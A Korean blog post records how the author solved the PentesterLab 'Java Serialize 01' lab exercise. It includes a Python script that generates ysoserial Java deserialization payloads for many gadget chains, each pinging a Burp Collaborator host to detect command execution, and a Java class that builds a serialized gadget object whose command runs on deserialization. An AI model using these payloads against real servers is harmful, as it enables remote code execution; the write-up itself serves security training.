[PentesterLab] Java Serialize 01

쥬스몬·2022년 3월 28일
0

PentesterLab

목록 보기
18/20

PentesterLab의 Java Serialize 01 문제를 해결하는 과정을 기록

이번 문제는 아래와 같이 Base64로 인코딩된 Object를 입력받아 서버에 전달하고 서버는 Source code에 명시된 코드로 구현되어있다고 한다.

Java 역직렬화 관련된 문제는 ysoserial로 먼저 테스트하기 위해 무지성 페이로드를 생성해주는 코드를 제작했다🙄

import os
import base64

payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2',
            'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1',
            'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21',
            'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']


def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            open(name + '_ysoserial_payload.txt', 'a').write(encoded + '\n')


generate('Windows', 'ping -n 1 win.REPLACE.moesngkhw2oricvdar2y0w8lwc23qs.burpcollaborator.net')
generate('Linux', 'ping -c 1 nix.REPLACE.moesngkhw2oricvdar2y0w8lwc23qs.burpcollaborator.net')

생성된 모든 ysoserial payload를 burp intruder에 때려박아봤으나 에러만 출력되고 Burp collaborator에는 아무 소식이 없었다...😭

이번 문제는 일반적인 라이브러리에서 발생할 수 있는 역직렬화 취약점이 아니라 직렬화의 과정을 이해하고 역직렬화 시 발생할 수 있는 문제를 파악해 직접 페이로드를 제작해야된다.

웹 페이지에서 서버 소스코드까지 친절하게 알려주었기에 해당 코드를 이용하여 base64 인코딩된 object를 생성해보겠다!

package com.pentesterlab;

import java.io.*;
import java.util.*;

public class Exploit{
  public static void main( String[] args ) throws IOException {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    try(ObjectOutputStream os = new ObjectOutputStream(bos)){
      AnotherClass gadget = new AnotherClass("/usr/local/bin/score 4fb8c3cf-75a6-4f67-b4b2-d84376a24afd");
      os.writeObject(gadget);
      String base64 = Base64.getEncoder().encodeToString(bos.toByteArray());
      System.out.println(base64);
    }

  }
}

생성된 payload를 전달하면 역직렬화가 진행되면서 AnotherClass의 객체를 전달하고 readObject 메서드가 실행될 때 생성자에서 지정한 command가 실행된다. (끗)

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글